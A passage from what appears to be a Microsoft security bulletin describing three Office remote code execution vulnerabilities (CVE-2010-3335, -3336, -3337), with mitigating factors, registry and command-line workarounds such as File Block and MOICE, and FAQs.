administrative user rights, an attacker could take complete control of the affected system. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nThis vulnerability requires that a user open a specially crafted Office file with an affected version of Microsoft Office software.\r\n\r\nIn an e-mail attack scenario, an attacker could exploit the vulnerability by sending a specially crafted Office file to the user and by convincing the user to open the file.\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains an Office file that is used to attempt to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content could contain specially crafted content that could exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site, and then convince them to open the specially crafted Office file.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nSystems where Microsoft Office software is used, including workstations and terminal servers, are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Microsoft Office software parses files.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nDrawing Exception Handling Vulnerability - CVE-2010-3335\r\n\r\nA remote code execution vulnerability exists in the way that Microsoft Office software parses specially crafted Office files. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3335.\r\n\t\r\nMitigating Factors for Drawing Exception Handling Vulnerability - CVE-2010-3335\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nThe vulnerability cannot be exploited automatically through e-mail. For an attack to be successful a user must open an attachment that is sent in an e-mail message.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker\u2019s Web site, and then convince them to open the specially crafted Office file.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Drawing Exception Handling Vulnerability - CVE-2010-3335\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of Office 2003 and earlier documents in Microsoft Word from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Office 2007, all of the latest security updates for Microsoft Office 2007 must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen Word 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- Word 2003 Binary Documents and Templates\r\n- Word XP Binary Documents and Templates\r\n- Word 2000 Binary Documents and Templates\r\n- Word 97 Binary Documents and Templates\r\n- Word 95 Binary Documents and Templates\r\n- Word 6.0 Binary Documents and Templates\r\n- Word 2 and earlier Binary Documents and Templates\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. For Microsoft Office 2003 and Microsoft Office 2007, users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions. For Microsoft Office 2010, Office 2003 files or earlier versions will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2007\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen Word 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of Office 2003 and earlier documents in Microsoft Excel from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2007, all of the latest security updates for Office 2007 must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen Excel 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- Excel 2007 and later Binary Workbooks\r\n- Excel 97-2003 Add-in Files\r\n- Excel 97-2003 Workbooks and Templates\r\n- Excel 95-97 Workbooks and Templates\r\n- Excel 95 Workbooks\r\n- Excel 4 Workbooks\r\n- Excel 4 Worksheets\r\n- Excel 3 Worksheets\r\n- Excel 2 Worksheets\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. For Microsoft Office 2003 and Microsoft Office 2007, users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions. For Microsoft Office 2010, Office 2003 files or earlier versions will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2007\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen Excel 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of Office 2003 and earlier documents in Microsoft PowerPoint from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with the 2007 Microsoft Office system, all of the latest security updates for the 2007 Microsoft Office system must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen PowerPoint 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- PowerPoint 97-2003 Presentations, Shows, Templates and Add-in Files\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. For Microsoft Office 2003 and Microsoft Office 2007, users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions. For Microsoft Office 2010, Office 2003 files or earlier versions will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2007\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen PowerPoint 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\n\u2022\t\r\n\r\nUse the Microsoft Office Isolated Conversion Environment (MOICE) when opening files from unknown or untrusted sources\r\n\r\nThe Microsoft Office Isolated Conversion Environment (MOICE) helps protect Office 2003 installations by more securely opening Word, Excel, and PowerPoint binary format files.\r\n\r\nTo install MOICE, you must have Office 2003 or Office 2007 installed.\r\n\r\nTo install MOICE, you must also have the Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats. The compatibility pack is available as a free download from the Microsoft Download Center.\r\n\r\nMOICE requires all updates that are recommended for all Office programs. Visit Microsoft Update to install all recommended updates.\r\n\r\nEnable MOICE\r\n\r\nNote See Microsoft Knowledge Base Article 935865 to use the automated Microsoft Fix it solution to enable or disable this workaround.\r\n\r\nTo manually enable MOICE, run the commands as specified in the following table. Running the commands will associate the Office application extensions with MOICE.\r\nCommand to enable MOICE to be the registered handler\r\n\r\nFor Word, run the following command from a command prompt:\r\nASSOC .doc=oice.word.document\r\n\r\nFor Excel, run the following commands from a command prompt:\r\nASSOC .XLS=oice.excel.sheet\r\nASSOC .XLT=oice.excel.template\r\nASSOC .XLA=oice.excel.addin\r\n\r\nFor PowerPoint, run the following commands from a command prompt:\r\nASSOC .PPT=oice.powerpoint.show\r\nASSOC .POT=oice.powerpoint.template\r\nASSOC .PPS=oice.powerpoint.slideshow\r\n\r\nNote On Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2, run the above commands from an elevated command prompt.\r\n\r\nFor more information on MOICE, see Microsoft Knowledge Base Article 935865.\r\n\r\nImpact of workaround. Office 2003 and earlier formatted documents that are converted to the Microsoft Office 2007 Open XML format by MOICE will not retain macro functionality. Additionally, documents with passwords or that are protected with Digital Rights Management cannot be converted.\r\n\r\nHow to undo the workaround. Run the commands to disable MOICE as specified in the table below.\r\nCommand to disable MOICE as the registered handler\r\n\r\nFor Word, run the following command from a command prompt:\r\nASSOC .doc=Word.Document.8\r\n\r\nFor Excel, run the following commands from a command prompt:\r\nASSOC .xls=Excel.Sheet.8\r\nASSOC .xlt=Excel.Template\r\nASSOC .xla=Excel.Addin\r\n\r\nFor PowerPoint, run the following commands from a command prompt:\r\nASSOC .ppt=PowerPoint.Show.8\r\nASSOC .PPS=oice.powerpoint.slideshow\r\nASSOC .pps=PowerPoint.SlideShow.8\r\n\r\nNote On Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2, run the above commands from an elevated command prompt.\r\n\u2022\t\r\n\r\nDo not open Office files that you receive from untrusted sources or that you receive unexpectedly from trusted sources\r\n\r\nDo not open Office files that you receive from untrusted sources or that you receive unexpectedly from trusted sources. This vulnerability could be exploited when a user opens a specially crafted file.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Drawing Exception Handling Vulnerability - CVE-2010-3335\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen a user opens a specially crafted Office file, system memory may become corrupted in such a way that an attacker could execute arbitrary code.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could run arbitrary code as the logged-on user. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. If a user is logged-on with administrative user rights, an attacker could take complete control of the affected system. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nThis vulnerability requires that a user open a specially crafted Office file with an affected version of Microsoft Office software.\r\n\r\nIn an e-mail attack scenario, an attacker could exploit the vulnerability by sending a specially crafted Office file to the user and by convincing the user to open the file.\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains an Office file that is used to attempt to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content could contain specially crafted content that could exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site, and then convince them to open the specially crafted Office file.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nSystems where Microsoft Office software is used, including workstations and terminal servers, are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Microsoft Office parses Office files.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nMSO Large SPID Read AV Vulnerability - CVE-2010-3336\r\n\r\nA remote code execution vulnerability exists in the way that Microsoft Office software parses specially crafted Office files. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3336.\r\n\t\r\nMitigating Factors for MSO Large SPID Read AV Vulnerability - CVE-2010-3336\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nThe vulnerability cannot be exploited automatically through e-mail. For an attack to be successful a user must open an attachment that is sent in an e-mail message.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker\u2019s Web site, and then convince them to open the specially crafted Office file.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for MSO Large SPID Read AV Vulnerability - CVE-2010-3336\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nDo not open Office files that you receive from untrusted sources or that you receive unexpectedly from trusted sources\r\n\r\nDo not open Office files that you receive from untrusted sources or that you receive unexpectedly from trusted sources. This vulnerability could be exploited when a user opens a specially crafted file.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for MSO Large SPID Read AV Vulnerability - CVE-2010-3336\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen a user opens a specially crafted Office file, system memory may become corrupted in such a way that an attacker could execute arbitrary code.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could run arbitrary code as the logged-on user. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. If a user is logged-on with administrative user rights, an attacker could take complete control of the affected system. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nThis vulnerability requires that a user open a specially crafted Office file with an affected version of Microsoft Office software.\r\n\r\nIn an e-mail attack scenario, an attacker could exploit the vulnerability by sending a specially crafted Office file to the user and by convincing the user to open the file.\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains an Office file that is used to attempt to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content could contain specially crafted content that could exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site, and then convince them to open the specially crafted Office file.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nSystems where Microsoft Office software is used, including workstations and terminal servers, are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Microsoft Office parses files.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nInsecure Library Loading Vulnerability - CVE-2010-3337\r\n\r\nA remote code execution vulnerability exists in the way that Microsoft Office handles the loading of DLL files. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3337.\r\n\t\r\nMitigating Factors for Insecure Library Loading Vulnerability - CVE-2010-3337\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nFor an attack to be successful using an untrusted remote file system location or WebDAV share, a user must be convinced to open a PowerPoint presentation located on the remote file system location or WebDAV share. An attacker would have no way to force users to visit an untrusted remote file system location or WebDAV share. Instead, an attacker would have to convince them to visit the untrusted remote file system location or WebDAV share, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes them to the untrusted remote file system location or WebDAV share.\r\n\u2022\t\r\n\r\nThe file sharing protocol SMB is often disabled on the perimeter firewall. This limits the potential attack vectors.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Insecure Library Loading Vulnerability - CVE-2010-3337\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nDisable loading of libraries from WebDAV and remote network shares\r\n\r\nNote See Microsoft Knowledge Base Article 2264107 to deploy a workaround tool that allows customers to disable the loading of libraries from remote network or WebDAV shares. This tool can be configured to disallow insecure loading on a per-application or a global system basis.\r\n\r\nCustomers who are informed by their vendor of an application being vulnerable can use this tool to help protect against attempts to exploit this issue.\r\n\r\nNote See Microsoft Knowledge Base Article 2264107 to use the automated Microsoft Fix it solution to deploy the registry key to block loading of libraries for SMB and WebDAV shares. Note that this Fix it solution does require you to install the workaround tool also described in Microsoft Knowledge Base Article 2264107 first. This Fix it solution only deploys the registry key and requires the workaround tool in order to be effective. We recommend that administrators review the KB article closely prior to deploying this Fix it solution.\r\n\u2022\t\r\n\r\nDisable the WebClient service\r\n\r\nDisabling the WebClient service helps protect affected systems from attempts to exploit this vulnerability by blocking the most likely remote attack vector through the Web Distributed Authoring and Versioning (WebDAV) client service. After applying this workaround it is still possible for remote attackers who successfully exploit this vulnerability to cause Microsoft Office Outlook to run programs located on the targeted user's computer or the Local Area Network (LAN), but users will be prompted for confirmation before opening arbitrary programs from the Internet.\r\n\r\nTo disable the WebClient Service, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick Start, click Run, type Services.msc and then click OK.\r\n\r\n2.\r\n\t\r\n\r\nRight-click WebClient service and select Properties.\r\n\r\n3.\r\n\t\r\n\r\nChange the Startup type to Disabled. If the service is running, click Stop.\r\n\r\n4.\r\n\t\r\n\r\nClick OK and exit the management application.\r\n\r\nImpact of workaround. When the WebClient service is disabled, Web Distributed Authoring and Versioning (WebDAV) requests are not transmitted. In addition, any services that explicitly depend on the Web Client service will not start, and an error message will be logged in the System log. For example, WebDAV shares will be inaccessible from the client computer.\r\n\r\nHow to undo the workaround.\r\n\r\nTo re-enable the WebClient Service, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick Start, click Run, type Services.msc and then click OK.\r\n\r\n2.\r\n\t\r\n\r\nRight-click WebClient service and select Properties.\r\n\r\n3.\r\n\t\r\n\r\nChange the Startup type to Automatic. If the service is not running, click Start.\r\n\r\n4.\r\n\t\r\n\r\nClick OK and exit the management application.\r\n\u2022\t\r\n\r\nBlock TCP ports 139 and 445 at the firewall\r\n\r\nThese ports are used to initiate a connection with the affected component. Blocking TCP ports 139 and 445 at the firewall will help protect systems that are behind that firewall from attempts to exploit this vulnerability. Microsoft recommends that you block all unsolicited inbound communication from the Internet to help prevent attacks that may use other ports. For more information about ports, see the TechNet article, TCP and UDP Port Assignments.\r\n\r\nImpact of workaround. Several Windows services use the affected ports. Blocking connectivity to the ports may cause various applications or services to not function. Some of the applications or services that could be impacted are listed below:\r\n\u2022\t\r\n\r\nApplications that use SMB (CIFS)\r\n\u2022\t\r\n\r\nApplications that use mailslots or named pipes (RPC over SMB)\r\n\u2022\t\r\n\r\nServer (File and Print Sharing)\r\n\u2022\t\r\n\r\nGroup Policy\r\n\u2022\t\r\n\r\nNet Logon\r\n\u2022\t\r\n\r\nDistributed File System (DFS)\r\n\u2022\t\r\n\r\nTerminal Server Licensing\r\n\u2022\t\r\n\r\nPrint Spooler\r\n\u2022\t\r\n\r\nComputer Browser\r\n\u2022\t\r\n\r\nRemote Procedure Call Locator\r\n\u2022\t\r\n\r\nFax Service\r\n\u2022\t\r\n\r\nIndexing Service\r\n\u2022\t\r\n\r\nPerformance Logs and Alerts\r\n\u2022\t\r\n\r\nSystems Management Server\r\n\u2022\t\r\n\r\nLicense Logging Service\r\n\r\nHow to undo the workaround. Unblock TCP ports 139 and 445 at the firewall. For more information about ports, see TCP and UDP Port Assignments.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Insecure Library Loading Vulnerability - CVE-2010-3337\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nThis vulnerability requires a user to open a document contained within the same working directory as a specially crafted DLL file. The specially crafted DLL will be loaded into memory giving the attacker control of the affected system in the security context of the logged-on user.\r\n\r\nIs this vulnerability related to the issue described in Microsoft Security Advisory 2269637? \r\nYes, this vulnerability is related to the class of vulnerabilities that affect how applications load external libraries described in Microsoft Security Advisory 2269637. This security bulletin addresses a particular instance of this type of vulnerability.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could run arbitrary code as the logged-on user. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. If a user is logged-on with administrative user rights, an attacker could take complete control of the affected system. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nThis vulnerability requires that a user open an office document in the same working directory as a specially crafted DLL file.\r\n\r\nIn an e-mail attack scenario, an attacker could exploit the vulnerability by convincing a user to place an Office file in the same folder as a specially crafted DLL file, and then convincing the user to open the Office file. When the user opens the Office file the specially crafted DLL file, which is contained in the same directory as the Office file, will be loaded.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nSystems where Microsoft Office is used, including workstations and terminal servers, are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nHow is Microsoft Office affected by this vulnerability? \r\nAlthough the known attack vectors can only leverage Microsoft PowerPoint, the vulnerable code exists in a shared component of Microsoft Office.\r\n\r\nWhat does the update do? \r\nThis update addresses the vulnerability by helping to ensure the 